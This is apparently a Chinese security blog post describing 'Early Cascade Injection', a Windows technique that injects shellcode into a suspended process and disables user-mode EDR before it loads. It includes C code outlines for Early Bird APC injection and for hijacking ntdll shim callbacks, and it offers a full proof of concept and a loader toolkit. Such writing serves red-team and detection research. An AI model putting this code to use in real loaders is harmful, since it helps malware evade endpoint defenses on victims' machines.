抢先废掉 EDR:Early Cascade 新型进程注入技术
原创
陆安予
陆安予
白帽子安全笔记2.0
2026年10月17日 23:23
江苏
去阅读
一、这是什么
早期级联注入(Early Cascade Injection)是一种新型进程注入技术,它同时融合了知名的早鸟APC注入(Early Bird APC Injection)和EDR预加载技术,它向一个新建的 x64 进程注入 shellcode,同时让用户态 EDR 的 DLL 在被初始化之前就失效,从而绕过其 API 钩子与行为监控。该技术后来被 Cobalt Strike 4.12 集成为其注入选项之一。
二、技术原理
早鸟注入于 2018 年出现,核心是早,它不再向一个已经在运行的进程注入,而是创建一个挂起的新进程,在进程主线程进入入口点之前,通过 APC 把 shellcode 塞进去执行,抢在 EDR 用户态钩子生效之前动手。它的标志性动作是QueueUserAPC或NtQueueApcThread,该行为早已被纳入监控。
// 1. 挂起创建进程
CreateProcessA(NULL, \"target.exe\", ..., CREATE_SUSPENDED, ..., &pi);
// 2. 在目标进程分配内存并写入 shellcode
LPVOID pRemote = VirtualAllocEx(pi.hProcess, NULL, scSize,MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, pRemote, shellcode, scSize, NULL);
// 3. 标志性动作:跨进程把 APC 排到目标主线程
QueueUserAPC((PAPCFUNC)pRemote, pi.hThread, 0);
// 4. 恢复线程,APC 在入口点前触发
ResumeThread(pi.hThread);
直到2024年,Marcus Hutchins发布了EDR-Preloading技术,核心思路是劫持 AppVerifier 层的回调,阻止 EDR 的 DLL 正常加载和初始化。再后来由Guido Miggelenbrink把早鸟注入和EDR-Preloading融合并实现了POC,取名为Early Cascade Injection。最后,由0xNinjaCyclone重新实现了POC。
// 1. 挂起创建进程
CreateProcessA(NULL, \"Notepad.exe\", ..., CREATE_SUSPENDED, ..., &pi);
// 2. 定位 ntdll 里的回调指针和开关
pSE_DllLoadedAddress = find_SE_DllLoadedAddress(hNtDLL, &pPtr); // g_pfnSE_DllLoaded
pShimsEnabledAddress = find_ShimsEnabledAddress(hNtDLL, pPtr); // g_ShimsEnabled
// 3. 分配 [stub][shellcode],回填开关地址,写入
pBuffer = VirtualAllocEx(..., sizeof(x64_stub) + sizeof(x64_shellcode), ...,
PAGE_EXECUTE_READWRITE);
RtlCopyMemory(find_pattern(x64_stub, ..., \"\\x11\\x11...\", 8),
&pShimsEnabledAddress, 8);
WriteProcessMemory(pi.hProcess, pBuffer, x64_stub, sizeof(x64_stub), NULL);
WriteProcessMemory(pi.hProcess, pPtr, x64_shellcode, sizeof(x64_shellcode), NULL);
// 4. 加密 stub 地址,写入回调指针(不是排 APC)
pPtr = encode_system_ptr((LPVOID)pBuffer);
WriteProcessMemory(pi.hProcess, pSE_DllLoadedAddress, &pPtr, sizeof(LPVOID), NULL);
// 5. 打开开关,恢复线程 - 系统自己调起 stub
WriteProcessMemory(pi.hProcess, pShimsEnabledAddress, &bEnable, sizeof(BOOL), NULL);
ResumeThread(pi.hThread);
目前该技术没有后续升级版本,仅采用不同语言改写。
三、POC代码
EarlyCascade的c语言实现-poc
获取完整poc,回复20261017获取。
同时,该技术已收录至LoaderAll项目中,可快速复现。
LoaderAll6.8.2
四、使用场景
1.在企业授权的攻防演习中,验证防守方的检测与响应能力
2.理解各类加载技术的实现机制与运行过程
3.在受控环境中测试安全设备的检出情况,用于优化检测策略
五、免责声明
本文涉及方案仅限合法授权的安全研究、渗透测试用途,使用者须确保符合《网络安全法》及相关法规。具体条款如下:
1.仅可用于已获得书面授权的目标系统测试;
2.遵守法律法规,不得用于侵犯他人隐私或数据窃取;
本人不承担因用户滥用本软件导致的任何后果。使用即视为同意并接受上述条款。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论